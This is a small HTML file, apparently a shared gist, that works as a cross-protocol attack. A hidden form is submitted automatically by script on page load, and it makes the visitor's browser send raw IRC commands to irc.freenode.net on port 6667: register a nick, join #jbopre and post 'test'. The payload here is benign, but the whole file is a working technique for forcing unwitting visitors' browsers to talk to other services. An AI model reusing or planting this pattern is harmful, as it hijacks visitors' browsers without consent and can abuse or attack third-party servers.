gistfile1.htm

<form id="t" action="http://irc.freenode.net:6667" method="post" enctype="text/plain" style="display:none">
   <input type="text" name="" value="
PONG irc.freenode.net
USER hello_world hello_world hello_world :hello world
NICK hello_world
JOIN #jbopre
PRIVMSG #jbopre :test
" />
   <input type="submit" />
</form>
<script type="text/javascript">document.getElementById('t').submit()</script>